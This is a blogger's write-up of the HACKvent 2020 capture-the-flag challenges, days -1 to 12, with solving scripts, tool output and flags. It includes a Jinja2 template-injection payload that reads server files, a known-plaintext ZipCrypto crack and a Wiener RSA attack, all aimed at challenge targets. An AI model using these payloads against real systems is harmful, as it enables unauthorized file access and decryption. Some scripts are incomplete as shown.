HACKvent 2020 write-up

What a blast!

I couldn’t wait for HACKvent to happen. The closer December came, the more excited I became. This year, HACKvent was the only CTF I participated in. There were so many things going on that I didn’t have the time and energy to participate in other CTFs in 2020.

All the sleepless nights were worth it. I managed to solve all challenges in time and finish HACKvent the third time in a row as one of the event’s perfect scorers. I ended up in 10th place in the official ranking, whereas the first 27th hackers got a perfect score. After participating at HACKvent for 5 years, I still don’t understand how the official ranking works, though. :D


According to an unofficial ranking, which sorts by the accumulated time of all submitted solutions I am on the 14th place among all perfect scorers. With more than 12 days delay to the fastest hacker.


Thanks to my family for being able to handle my insomnia and my stress-level during this month. Thanks to ludus, jokker, multifred, marsh, veganjay, DrSchottky, explo1t, mtdcr, darkstar, and atwolf0, for all the good discussions. And thanks to Compass Security and all contributors for making HACKvent possible again.

Table of Contents

HV20.(-1) Twelve steps of christmas (Challenge by Bread – Level easy)


three caesar salads,
two to (the) six basic arguments,
one quick response.

On the third day of christmas my true love sent to me…



  • The first part of the message was encrypted with “rot3”. This can be easily deciphered with CyberChef. The result out of it is the sentence “Verse 3 done! Off with you! Get back to work! You’re not done here…”.
  • For the next step, which is the final one, we take the rest of the message and decode it with Base64. This step has to be done additionally to the rotation of 3, as the base64 encoded image was also rotated. The result of it is a PNG file with the QR Code containing the flag. I opened up the PNG in Gimp and replaced the white color around the borders with black. This can be done in Gimp in “Color/Map/Exchange Color”.

Flag: HV20{34t-sl33p-haxx-rep34t}

Later I’ve found out all these steps can be automatically done in CyberChef, including the image manipulation part and parsing the QR Code. Damn, I love this tool!

HV20.01 Happy HACKvent 2020 (Challenge by mij-the-dj – Level easy)


Welcome to this year’s HACKvent.

Attached you can find the “Official” invitation to the HackVent.

One of my very young Cyber Elves cut some parts of the card with his alpha scissors.

Have a great HACKvent,

– Santa


This solution is pretty straight forward. It is enough to open the image in Gimp and remove the alpha layer for revealing the flag.

Flag: HV20{7vxFXB-ItHnqf-PuGNqZ}

HV20.02 Chinese Animals (Challenge by The Compiler – Level easy)


I’ve received this note from a friend, who is a Chinese CTF player:


Unfortunately, Google Translate wasn’t of much help: 

I suspect the data has somehow been messed up while transmitting it.

Sadly, I can’t ask my friend about more details. The Great Chinese Firewall is thwarting our attempts to reach each other, and there’s no way I’m going to install WeChat on my phone.


Once again, a challenge that can be completely solved by CyberChef. To get the flag, we only copy the needed text (in the curly brackets) to CyberChef and use the function “Text Encode Bruteforce”.

Flag: HV20{small-elegant-butterfly-loves-grass-mud-horse}

HV20.03 Packed gifts (Challenge by darkstar – Level easy)


One of the elves has unfortunately added a password to the last presents delivery and we cannot open it. The elf has taken a few days off after all the stress of the last weeks and is not available. Can you open the package for us?

We found the following packages:


This was a very nice challenge! I used this challenge as a walk-through for some colleagues new to CTFs. :)

The challenge creator provides two Zip files, one is encrypted, and the other is not. Judged by name, I took the (wrong) assumption that the files in both archives are the same. In the encrypted folder, we have one additional file, flag.bin. This clearly is our target. Based on this information, I did some research about known-plaintext attacks against Zip files. And I was successful: https://github.com/keyunluo/pkcrack.

Pkcrack is based on Biham and Kocher’s known-plaintext attack and needs 12 bytes of known-plaintext to break the encryption.
In the first run, I was not successful in decrypting the archive. This because I took the assumption that all files with equal filenames are identical… I still was convinced that the attack was the right one; therefore, I needed to find an identical file in both Zip files.

I did this based on the CRC32 sums, which can be checked, even in encrypted Zip archives.

$ unzip -v 941fdd96-3585-4fca-a2dd-e8add81f24a1.zip > verbose.encrypted.zip.txt
$ find . -name "*.bin" -exec crc32 {} \; | grep -f - verbose.encrypted.zip.txt 
     172  Defl:N      159   8% 2020-11-24 09:07 fcd6b08a  0053.bin

First I store all the information about the encrypted Zip file to the text file “verbose.encrypted.zip.txt”, including the CRC sums. And then, with find, I iterate through the unencrypted files and check if the CRC32 checksums are in the text file. The result is that the file 0053.bin is identical in both archives. Now we have everything to decrypt the archive!

$ pkcrack-1.2.2/src/pkcrack -C 941fdd96-3585-4fca-a2dd-e8add81f24a1.zip -c "0053.bin" -P 790ccd6f-cd84-452c-8bee-7aae5dfe2610.zip -p "0053.bin" -d cracked.zip -a
Files read. Starting stage 1 on Fri Dec  4 23:36:28 2020
Generating 1st generation of possible key2_170 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Done. Left with 51026 possible Values. bestOffset is 24.
Stage 1 completed. Starting stage 2 on Fri Dec  4 23:36:32 2020
Ta-daaaaa! key0=2445b967, key1=cfb14967, key2=dceb769b
Probabilistic test succeeded for 151 bytes.
Ta-daaaaa! key0=2445b967, key1=cfb14967, key2=dceb769b
Probabilistic test succeeded for 151 bytes.
Stage 2 completed. Starting zipdecrypt on Fri Dec  4 23:37:27 2020
Decrypting 0000.bin (9ad4a32d5536280b9ed5e112)... OK!
Decrypting 0001.bin (e4a90abe31c7fa5cd060b92e)... OK!
Decrypting 0002.bin (32f291521900c30efd341884)... OK!
Decrypting 0099.bin (46b423aac46dfa48714b7084)... OK!
Decrypting flag.bin (ac980a0f8354fc606be26b6f)... OK!
Finished on Fri Dec  4 23:37:27 2020
$ unzip cracked.zip -d cracked
$ cat cracked/flag.bin | base64 -d

Flag: HV20{ZipCrypt0_w1th_kn0wn_pla1ntext_1s_easy_t0_decrypt}

HV20.H1 It’s a secret! (Easy)


We hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.


Challenge with the two Zip archive and the 200 binary files is the perfect place to hide a secret flag…

$ find . -name "*.bin" -exec cat {} \;  | base64 -d >> output.txt
$ cat output.txt | grep HV20 -a

Flag: HV20{it_is_always_worth_checking_everywhere_and_congratulations,_you_have_found_a_hidden_flag}

HV20.04 Br❤️celet (Challenge by brp64 (with help of his daughter) – Level easy)


Santa was given a nice bracelet by one of his elves. Little does he know that the secret admirer has hidden a message in the pattern of the bracelet…


  1. No internet is required – only the bracelet
  2. The message is encoded in binary
  3. Violet color is the delimiter
  4. Colors have a fixed order
  5. Missing colors matter


I am pleased I didn’t stay up to solve this challenge right away. This challenge was way too “guessy” in my opinion… During the day, 5 hints were released, which made it easier to solve this challenge.

In the bracelet, we can see a pattern. The Violet color is the delimiter, and the pattern between the delimiters is always RGBY. The question is if one color is present or missing. If it is present, we have the binary value 1, if it is missing 0.

g-ry-gb-rg-gb-rgby-gby-gb-by-by-gby-ry-by--gby-gy-gy-by-by-g-gb-rgb-by-gby-by-g 01001001011011000110111101110110001100110111100100110000011101010101001100110100011011100011011100110100

This can be transformed into an ASCII string by our favorite tool, CyberChef.

Flag: HV20{Ilov3y0uS4n74}

HV20.05 Image DNA (Challenge by blaknyte0 – Level easy)


Santa has thousands of Christmas balls in stock. They all look the same, but he can still tell them apart. Can you see the difference?


We are provided with two images. A first look at the images reveals two DNA strings.

$ strings *.jpg

After many rabbit holes I encountered during my Google research, I ended up with this promising link: https://ch.mathworks.com/matlabcentral/fileexchange/68817-dna-crytography-with-encoding-and-decoding-text-message.

The author describes how a secret message can be encrypted used DNA-based encryption together with XORing. There is even a Matlab implementation of it. To solve this challenge, I ported the implementation to Python.

def bitstring_to_bytes(s):
    return int(s, 2).to_bytes(len(s) // 8, byteorder='big')
def byte_xor(ba1, ba2):
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
b = []
for c in dna1:
    if c == 'A':
        k = '00'
    elif c == 'C':
        k = '01'
    elif c == 'G':
        k = '10'
    elif c == 'T':
        k = '11'
dna1Bytes = bitstring_to_bytes("".join(b))
b = []
for c in dna2:
    if c == 'A':
        k = '00'
    elif c == 'C':
        k = '01'
    elif c == 'G':
        k = '10'
    elif c == 'T':
        k = '11'
dna2Bytes = bitstring_to_bytes("".join(b))
print("[+] Found the flag: " + str(byte_xor(dna1Bytes, dna2Bytes)))
$ python3 solver.py 
[+] Found the flag: b'HV20{s4m3s4m3bu7diff3r3nt}'

Flag: HV20{s4m3s4m3bu7diff3r3nt}

HV20.06 Twelve steps of christmas (Challenge by Bread – Level medium)


On the sixth day of Christmas my true love sent to me…

six valid QRs,
five potential scrambles,
four orientation bottom and right,
and the rest has been said previously.

PDF version
Source image (open with pixlr.com)


a printer


  • selbmarcs
  • The black lines are important – do not remove them


The first medium challenge of HACKvent 2020! Boah, I don’t like Rubiks-Cubes, and I don’t know how to solve them… I did this challenge 100% manually and it messed with my head.

Because I had nothing better lying around, I took packages of salted nuts to simulate a Rubik’s Cube! :D I had to reset and start several times because it is tough to correctly make all the turns and keep track of everything in the head. See the pictures for my solution and have some laughs.

Flag: HV20{Erno_Rubik_would_be_proud.Petrus_is_Valid.#HV20QRubicsChal}

HV20.07 Bad morals (Challenge by kuyaya – Level medium)


One of the elves recently took a programming 101 course. Trying to be helpful, he implemented a program for Santa to generate all the flags for him for this year’s HACKvent 2020. The problem is, he can’t remember how to use the program any more and the link to the documentation just says 404 Not found. I bet he learned that in the Programming 101 class as well.

Can you help him get the flag back?



  • There are nearly infinite inputs that pass almost all the tests in the program
  • For the correct flag, the final test has to be successful as well


On day 7, we were given a Windows executable to reverse engineer. This only was a medium challenge, so the reversing part was not very hard. And indeed, with the right tooling, this challenge was pretty straight forward.

The executable was programmed in C#. I used dnSpy to debug the application and solve the challenge. The tool was able to recover the following C# source code.

using System;
using System.Security.Cryptography;
using System.Text;

namespace BadMorals
	// Token: 0x02000002 RID: 2
	public class Program
		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		public static void Main(string[] args)
				Console.Write("Your first input: ");
				char[] array = Console.ReadLine().ToCharArray();
				string text = "";
				for (int i = 0; i < array.Length; i++)
					if (i % 2 == 0 && i + 2 <= array.Length)
						text += array[i + 1].ToString();
				string str;
				if (text == "BumBumWithTheTumTum")
					str = string.Concat(new object[]
						array[8].GetHashCode() % 10,
					if (text == "")
						Console.WriteLine("Your input is not allowed to result in an empty string");
					str = text;
				Console.Write("Your second input: ");
				char[] array2 = Console.ReadLine().ToCharArray();
				text = "";
				for (int j = 0; j < array2.Length; j++)
					text += array2[j].ToString();
				string s;
				if (text == "BackAndForth")
					s = string.Concat(new string[]
					if (text == "")
						Console.WriteLine("Your input is not allowed to result in an empty string");
					s = text;
				Console.Write("Your third input: ");
				char[] array3 = Console.ReadLine().ToCharArray();
				text = "";
				byte b = 42;
				for (int k = 0; k < array3.Length; k++)
					char c = array3[k] ^ (char)b;
					b = (byte)((int)b + k - 4);
					text += c.ToString();
				string str2;
				if (text == "DinosAreLit")
					str2 = string.Concat(new string[]
					if (text == "")
						Console.WriteLine("Your input is not allowed to result in an empty string");
					str2 = text;
				byte[] array4 = Convert.FromBase64String(str + str2);
				byte[] array5 = Convert.FromBase64String(s);
				byte[] array6 = new byte[array4.Length];
				for (int l = 0; l < array4.Length; l++)
					array6[l] = (array4[l] ^ array5[l % array5.Length]);
				byte[] array7 = SHA1.Create().ComputeHash(array6);
				byte[] array8 = new byte[]
				for (int m = 0; m < array7.Length; m++)
					if (array7[m] != array8[m])
						Console.WriteLine("Your inputs do not result in the flag.");
				string @string = Encoding.ASCII.GetString(array4);
				if (@string.StartsWith("HV20{"))
					Console.WriteLine("Congratulations! You're now worthy to claim your flag: {0}", @string);
				Console.WriteLine("Please try again.");
				Console.WriteLine("Press enter to exit.");

With the debugger, I was able to reproduce the right inputs to move along the sanity checks.

The first checks every 2nd character and checks if the result matches with the string “BumBumWithTheTumTum.

The second check reverses the input and validates it against the string “BackAndForth”.

The third check we can easily reverse. The following Python script shows how I’ve done it.

s = "DinosAreLit"
i = 0
b = 42
result = ""
while i < len(s):
	result += chr(ord(s[i]) ^ b)
	b = b +i -4
	i += 1


This results in the following three inputs:

Input 1: -B-u-m-B-u-m-W-i-t-h-T-h-e-T-u-m-T-u-m-
Input 2: htroFdnAkcaB
Input 3: nOMNSaSFjC[

Unfortunately, these three inputs don’t work…

$ wine cc1b4db7-d5b6-48b8-bee5-8dcba508bf81.exe 
Your first input: -B-u-m-B-u-m-W-i-t-h-T-h-e-T-u-m-T-u-m-
Your second input: htroFdnAkcaB
Your third input: nOMNSaSFjC[
Please try again.
Press enter to exit.

I went back to the source code and saw that I missed 2 characters from the first input. Character 10 and 32 from the Base64 encoded string are completely dependent on my first validation inputs. In my case, I chose all “-“, but this obviously doesn’t work.

The Base64 string generated from my input is XORed with a second one, and the result is verified with the SHA1 checksum in the code.

This means that I need to brute-force the two characters in my first input, and the result must correspond with the SHA1 checksum in the code. Character one of the brute-force is numeric, character two alphanumeric. I implemented another Python script to solve this challenge.

import base64
import string
import hashlib

Found Base64 Strings with my inputs
Input 1: -B-u-m-B-u-m-W-i-t-h-T-h-e-T-u-m-T-u-m-
Input 2: htroFdnAkcaB
Input 3: nOMNSaSFjC[
b64_error = "SFYyMHtyMz5zcnMzXzNuZzFuMzNyMW5n-200ZDNfMzRzeX0="
xor_bytes = base64.b64decode("Q1RGX3hsNHoxbmnf")
error_pos = [10, 32]

# Sha1 Hash to match
sha1 = [107,64,119,202,154,218,200,113,63,1,66,148,207,23,254,198,197,79,21,10]
sha1_hexstring = ''.join(format(x, '02x') for x in sha1)

# all possible b64 Characters
b64_characters = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'

# Error position must be numeric
i = 0
while i < 10:
    b64_error = b64_error[:10] + str(i) + b64_error[10+1:]

    # Error position 32, can be of the full range of the b64 character set
    for y in b64_characters:
        b64_error = b64_error[:32] + str(y) + b64_error[32+1:]
        b64_working = base64.b64decode(b64_error)
        print("'" + str(i) + "' // '" + str(y) + "' --> " + str(b64_working))

        # XOR manipulation
        xc = 0
        xor_res = []*len(b64_working)
        while xc < len(b64_working):
            xor_res.append(b64_working[xc] ^ xor_bytes[xc % len(xor_bytes)])
            xc += 1

        # Calc sha1
        h = hashlib.sha1(bytearray(xor_res)).hexdigest()

        # is it the right one?
        if h == sha1_hexstring:
            print("[+] SHA1 Hashsum is matching!")
            print("[---> " + str(b64_working))
            i = 10

    i += 1
$ python3 sol.py
'8' // 'U' --> b'HV20{r3?3rs3_3ng1n33r1ngSm4d3_34sy}'
'8' // 'V' --> b'HV20{r3?3rs3_3ng1n33r1ngWm4d3_34sy}'
'8' // 'W' --> b'HV20{r3?3rs3_3ng1n33r1ng[m4d3_34sy}'
'8' // 'X' --> b'HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}'
[+] SHA1 Hashsum is matching! We found our Flag!
[---> b'HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}'

Flag: HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}

HV20.08 The game (Challenge by M. (who else) – Level medium)


Let’s play another little game this year. Once again, as every year, I promise it is hardly obfuscated.



Perl & Term::ReadKey module (from CPAN or apt install libterm-readkey-perl for debian / ubuntu based systems)


Today’s challenge was a game-challenge based on Perl by “M”. At least one of these challenges will be presented at every HACKvent, and I really hate them or Perl… ;)

The first step is to de-obfuscate as much as possible.

$ perl -MO=Deparse -l 1456c098-0318-4370-ae1f-c4f6e51e2d50.txt > d08_deobfuscated.pl
1456c098-0318-4370-ae1f-c4f6e51e2d50.txt syntax OK

// Rename "eval" to print and execute the Perl script
$ perl d08_deobfuscated.pl > d08_deobfuscated_.pl

// De-obfuscate again
$ perl -MO=Deparse -l d08_deobfuscated_.pl > d08_deobfuscated_final.pl
d08_deobfuscated_.pl syntax OK

Now we have a more or less readable Perl script. I modified the game-field and made it bigger.

 -$w = 11;
 -$h = 23;
 +$w = 31;
 +$h = 83;
BEGIN { $/ = "\n"; $\ = "\n"; }
use Term::ReadKey;
$| = 1;
print "\ec\e[2J\e[?25l\e[?7l\e[1;1H\e[0;0r";
@FF = split(//, '####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####', 0);
@BB = (89, 51, 30, 27, 75, 294);
$w = 11;
$h = 23;
print "\e[1;1H\e[103m" . ' ' x (2 * $w + 2) . "\e[0m\r\n" . ("\e[103m \e[0m" . ' ' x (2 * $w) . "\e[103m \e[0m\r\n") x $h . "\e[103m" . ' ' x (2 * $w + 2) . "\e[2;1H\e[0m";
sub bl {
    ($b, $bc, $bcc, $x, $y) = @_;
    foreach $yy (0 .. 2) {
        foreach $xx (0 .. 5) {
            print "\e[${bcc}m\e[" . ($yy + $y + 2) . ';' . ($xx + $x * 2 + 2) . "H$bc" if ($b & 7 << $yy * 3) >> $yy * 3 & 4 >> ($xx >> 1);
sub r {
    $_ = shift();
    ($_ & 4) << 6 | ($_ & 32) << 2 | ($_ & 256) >> 2 | ($_ & 2) << 4 | $_ & 16 | ($_ & 128) >> 4 | ($_ & 1) << 2 | ($_ & 8) >> 2 | ($_ & 64) >> 6;
sub _s {
    ($b, $bc, $x, $y) = @_;
    foreach $yy (0 .. 2) {
        foreach $xx (0 .. 5) {
            substr($f[$yy + $y], $xx + $x, 1) = $bc if ($b & 7 << $yy * 3) >> $yy * 3 & 4 >> $xx;
    $Q = 'QcXgWw9d4';
    @f = grep({/ /;} @f);
    unshift @f, ' ' x $w while @f < $h;
sub cb {
    $_Q = 'ljhc0hsA5';
    ($b, $x, $y) = @_;
    foreach $yy (0 .. 2) {
        foreach $xx (0 .. 2) {
            return 1 if ($b & 7 << $yy * 3) >> $yy * 3 & 4 >> $xx and $yy + $y >= $h || $xx + $x < 0 || $xx + $x >= $w || substr($f[$yy + $y], $xx + $x, 1) ne ' ';
sub p {
    foreach $yy (0 .. $#f) {
        print "\e[" . ($yy + 2) . ";2H\e[0m";
        $_ = $f[$yy];
        print $_;
sub k {
    $k = '';
    $k .= $c while $c = ReadKey(-1);
sub n {
    $bx = 5;
    $by = 0;
    $bi = int rand scalar @BB;
    $__ = $BB[$bi];
    $_b = $FF[$sc];
    $sc == 98 and $_b =~ s/./0/ unless $sc > 77 and $sc < 98 and $sc != 82 and eval '$_b' . "=~y#$Q#$_Q#";
@f = (' ' x $w) x $h;
p ;
n ;
while (1) {
    $k = k();
    last if $k =~ /q/;
    $k = substr($k, 2, 1);
    $dx = ($k eq 'C') - ($k eq 'D');
    $bx += $dx unless cb $__, $bx + $dx, $by;
    if ($k eq 'A') {
        cb(r($__), $bx, $by) ? do {
            not cb(r($__), $bx + 1, $by)
        } ? do {
            $__ = r($__);
        } : do {
            not cb(r($__), $bx - 1, $by)
        } && do {
            $__ = r($__);
        } : do {
            $__ = r($__)
    bl $__, $_b, 101 + $bi, $bx, $by;
    select undef, undef, undef, 0.1;
    if (cb $__, $bx, ++$by) {
        last if $by < 2;
        _s $__, $_b, $bx, $by - 1;
        n ;
    else {
        bl $__, ' ', 0, $bx, $by - 1;
sleep 1;
print "\ec";

I don’t like Perl and loved playing Tetris as a kid. Therefore I went for the “fun” way of solving this challenge. I played the game and wrote down the characters! :)

Flag: HV20{https://www.youtube.com/watch?v=Alw5hs0chj0}

HV20.09 Santa’s Gingerbread Factory (Challenge by inik – Level medium)


Here you can customize your absolutely fat-free gingerbread man.

Note: Start your personal instance from the RESOURCES section on top.

Goal / Mission

Besides the gingerbread men, there are other goodies there. Let’s see if you can get the goodie, which is stored in /flag.txt.


The first challenge of the categories “Penetration Testing” and “Web”. I like this kind of challenge very much.

We have two possibilities to send inputs and try to inject malicious code.

Fiddling with those two inputs, I provoked an error by entering a special character like “£”. An exception page comes up and shows insights of the web application. This is a typical information disclosure problem.

As we have a Python Flask application, we obviously have a Server-Side Template-Injection (SSTI) vulnerability. The final challenge in HACKvent 2017 also had one stage with SSTI.

More information about SSTI can be found here: https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti.

Knowing this all, we can get the flag with three steps:

  1. Get the loaded sublcasses with the payload “{{”.__class__.mro()[2].__subclasses__()}}”
  1. In the list of all the subclasses, we need to find one with the type “file”. We can use this subclass to read arbitrary files on the server. We find such a type at position 40 of the list.
  2. Now, we can generate our payload and read the flag.
{{''.__class__.mro()[2].__subclasses__()[40]("/flag.txt").read() }}

Flag: HV20{SST1_N0t_0NLY_H1Ts_UB3R!!!}

HV20.10 Be patient with the adjacent (Challenge by Bread – Level medium)


Ever wondered how Santa delivers presents, and knows which groups of friends should be provided with the best gifts? It should be as great or as large as possible! Well, here is one way.

Hmm, I cannot seem to read the file either, maybe the internet knows?



  • Hope this cliques for you
  • bin2asc will help you with this, but …
  • segfaults can be fixed – maybe read the source
  • If you are using Windows for this challenge, make sure to add a b to to the fopen calls on lines 37 and 58
  • There is more than one thing you can do with this type of file! Try other options…
  • Groups, not group


This challenge was heavy, at least without hints at first. Apparently, I wasn’t the only one. The organizers decided to release many hints during the day to increase the number of incoming solutions…

The first step was to transform the Col.b file’s binary format into an ASCII readable format. This can be done, like the hint mentions, with bin2asc. Unfortunately, bin2asc has a bug with this file and crashes with a segfault.

$ ./bin2asc ../../7b24b79f-d898-4480-bc1b-e09742f704f7.col.b 
Segmentation fault (core dumped)

The segfault happens because the file we are provided with has too many edges. We can fix this error by patching the file genbin.h and recompile the program. We change the definitions in the beginning.

define MAX_NR_VERTICES         20000
define MAX_NR_VERTICESdiv8     2500
$ ./bin2asc ../../7b24b79f-d898-4480-bc1b-e09742f704f7.col.b

With the Networkx library it is possible to parse and work with the col file in Python. To be able to run the python script I change the generated col-file and remove all the “e” on every line.

import networkx as nx

kids = ["104", "118", "55", "51", "123", "110", "111", "116", "95", "84", "72", "69", "126", "70", "76", "65", "71", "33", "61", "40", "124", "115", "48", "60", "62", "83", "79", "42", "82", "121", "125", "45", "98", "114", "101", "97", "100"]
G = nx.read_edgelist("edited.col", delimiter=' ', comments="c")

cliques = nx.clique.find_cliques(G)
max_cliques = {}

for clq in cliques:
    for value in clq:
        if value in kids:
            if value in max_cliques.keys():
                if len(clq) > len(max_cliques[value]):
                    max_cliques[value] = clq
                max_cliques[value] = clq

for kid in kids:
    print(chr(len(max_cliques[kid])), end='')

Thanks jokker for the cleaned-up script! The Python script creates the cliques for the generated col-file. Afterward, it iterates through the calculated cliques and checks if any of the kids is in them. If yes, and the size of this clique is bigger than the size for the same kid at the moment, it stores it into the dictionary max_cliques.

The flag is calculated by converting the length of these max cliques into chars and concatenated to a string.

$ python3 build_max_cliques.py 

Flag: HV20{Max1mal_Cl1qu3_Enum3r@t10n_Fun!}

HV20.11 Chris’mas carol (Challenge by Chris – Level medium)


Since yesterday’s challenge seems to have been a bit on the hard side, we’re adding a small musical innuendo to relax.

My friend Chris from Florida sent me this score. Enjoy! Is this what you call postmodern?

P.S: Also, we’re giving another 24h to get full points for the last challenge.Hints

  • He also sent this image, but that doesn’t look like Miami’s skyline to me.
  • The secret code is useful for a file – not a website


Ugh, I had quite some problems with this challenge. First of all, I am not used in reading musical notes…

The following website helped me to get Hex values from the notes. https://en.wikipedia.org/wiki/Scientific_pitch_notation

Chris from Florida is obviously from the US; therefore, “H” is a “B”.

1st Line: e3 b4 f4 e3 d3 e2 d3 a5 b5 d5 a2 e5 a5 e3 a3
2nd Line: b3 e3 d5 d3 a3 d1 a1 c4 e3 e4 d1 d4 d1 d3 d1

If we XOR both Hex strings, we get the password “PW!0p3raV1s1t0r”. And if we reverse search the Florida picture, which btw. is the skyline of Hong Kong, we find a steganography service of the website mobilefish.com.

I spent a lot of time trying to find a hidden message in the Hong-Kong picture and the picture with the musical notes. But it didn’t work… After some time, a new hint was released: “The secret code is useful for a file – not a website”.

The steganography on the website was done without a password. And the result is an encrypted ZIP file!! :(

$ 7z x flag.zip 
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i7-8665U CPU @ 1.90GHz (806EC),ASM,AES-NI)
Scanning the drive for archives:
1 file, 221 bytes (1 KiB)
Extracting archive: ../flag.zip
Path = ../flag.zip
Type = zip
Physical Size = 221
Enter password (will not be echoed):
Everything is Ok
Size:       21
Compressed: 221

$ cat flag.txt 

Flag: HV20{r3ad-th3-mus1c!}

HV20.12 Wiener waltz (Challenge by SmartSmurf – Level medium)


During their yearly season opening party our super-smart elves developed an improved usage of the well known RSA crypto algorithm. Under the “Green IT” initiative they decided to save computing horsepower (or rather reindeer power?) on their side. To achieve this they chose a pretty large private exponent, around 1/4 of the length of the modulus – impossible to guess. The reduction of 75% should save a lot of computing effort while still being safe. Shouldn’t it?


Your SIGINT team captured some communication containing key exchange and encrypted data. Can you recover the original message?



  • Don’t waste time with the attempt to brute-force the private key


Very nice challenge on day 12. I liked this one a lot.

I started by googling for “RSA exponent attack” and found two relevant links. https://en.wikipedia.org/wiki/Coppersmith%27s_attack and from there I’ve read about the Wiener attack, which, according to the title, must be the attack we are looking for. https://en.wikipedia.org/wiki/Wiener%27s_attack

One of my favorite crypto-tools for CTFs is the RsaCtfTool, which I used to solve this challenge.

As we can not read encrypted traffic, I first started to analyze traffic not over port 443.

Packet 1952 looks very interesting for our challenge!

We have a public key, with “n”, “e” and a format [“mpz_export”,-1,4,1,0]. I first ignored the format and could not regenerate the private key out of it. I did some digging and read documentation and source code about mpz_export.

The order can be “1” for the most significant word or “-1” for the least significant word first. Within each word, endianness can change, “1” means most significant byte first, “-1” least significant byte, or “0” native endianness of CPU.

For our “n” and “e” we need to do the following:

echo $e | base64 -d | build 4byte words | reverse order of words

And once again, this can be done in CyberChef! 
The calculation for “e”
The calculation for “n”.

With the calculated values, we can now regenerate the private key in RsaCtfTools.

$ python3 RsaCtfTool.py -n 0xa76e4c6615f59993dc5bc207f590194ec4cdeb1a57cfa90c1055f811901debf486ea1716d5dafd9dfaa0a931a820bc96b4d12b95578867122b0b54a6907e4cab94535396adf9a93b037b24ddb3491d2494fd7c4c27980e5f9fcb51e258890e9125213b2bd3bf7d64466ec747f68d6afa00e1eb8fd0b8ced8687715f21d62fdd9b7e45ed00d54214242e0ac86c893696d3c016a2f213896e3047507abb7cbdc0869806c835a15f9307a594b9712a7e96dcd46b4dd9063c6d8f63bd39e52b7f5b8a0efb78163ff36b70153ae2f7e3dcf213de2361d23c270731e8fd0c21f662d42773ef3fdc4afc80ac2da62188ab0a341f00628a0207b82fa34a30e1575b9f6e5 -e 0x64a0d9a8926f672fee782f1303775c4d8c8c46cf655d167b1b56719cc54b02f0c1d3b273444eb394fefa79473bdd650e3a93bb2a708bdd5d12e0e19b4b3daf83291cb1e73ccd5a73b930d426b552afde1ecbd1b022369e9ed39b094363d2573cf2e714e817e19257b27e83d4b29b713c218a0562dffd22e39c568f1e1d47bee6a8939d2eedcebec244241c9d2e632515d5da853471e19cde8aaaaf37dc4c68e541c5a3d6b0df316923767e1ca3153f9259cbca0b808926b86af6b06084244d1a7941044d92a4443d28ba027cf576355a9d4edc174d50ba8abab0d81e737000ed16aa4de099c3f94804bbca62dd62dddde6d362e129b3e23c3cc345db4bfd0ecf --attack wiener --private

Testing key /tmp/tmp09ij3qrh.
Performing wiener attack on /tmp/tmp09ij3qrh.
Results for /tmp/tmp09ij3qrh:
Private key :

With “Follow TCP Stream” in Wireshark, we find the needed data fields, which we need to decrypt to get our flag.

RSA needs 256bytes of input. If we take all of the data fields and put them together in a binary file, we get exactly this. Attention to respect the order, blockId 1 is sent last!!

$ ls -lah encr.bin 
-rw-rw-r-- 1 mcia mcia 256 Dec 12 22:49 encr.bin
$ sha1sum encr.bin 
3573152c15b7a506e2e5ff663a5044763d5dff69  encr.bin

And as the last step, we can decrypt this binary file with RsaCtfTools.

$ python3 RsaCtfTool.py -n 0xa76e4c6615f59993dc5bc207f590194ec4cdeb1a57cfa90c1055f811901debf486ea1716d5dafd9dfaa0a931a820bc96b4d12b95578867122b0b54a6907e4cab94535396adf9a93b037b24ddb3491d2494fd7c4c27980e5f9fcb51e258890e9125213b2bd3bf7d64466ec747f68d6afa00e1eb8fd0b8ced8687715f21d62fdd9b7e45ed00d54214242e0ac86c893696d3c016a2f213896e3047507abb7cbdc0869806c835a15f9307a594b9712a7e96dcd46b4dd9063c6d8f63bd39e52b7f5b8a0efb78163ff36b70153ae2f7e3dcf213de2361d23c270731e8fd0c21f662d42773ef3fdc4afc80ac2da62188ab0a341f00628a0207b82fa34a30e1575b9f6e5 -e 0x64a0d9a8926f672fee782f1303775c4d8c8c46cf655d167b1b56719cc54b02f0c1d3b273444eb394fefa79473bdd650e3a93bb2a708bdd5d12e0e19b4b3daf83291cb1e73ccd5a73b930d426b552afde1ecbd1b022369e9ed39b094363d2573cf2e714e817e19257b27e83d4b29b713c218a0562dffd22e39c568f1e1d47bee6a8939d2eedcebec244241c9d2e632515d5da853471e19cde8aaaaf37dc4c68e541c5a3d6b0df316923767e1ca3153f9259cbca0b808926b86af6b06084244d1a7941044d92a4443d28ba027cf576355a9d4edc174d50ba8abab0d81e737000ed16aa4de099c3f94804bbca62dd62dddde6d362e129b3e23c3cc345db4bfd0ecf --attack wiener --uncipherfile encr.bin
--> STR : b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\rYou made it! Here is your flag: HV20{5hor7_Priv3xp_a1n7_n0_5mar7}\r\rGood luck for Hackvent, merry X-mas and all the best for 2021, greetz SmartSmurf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Flag: HV20{5hor7_Priv3xp_a1n7_n0_5mar7}

HV20.13 Twelve steps of christmas (Challenge by Bread – Level hard)


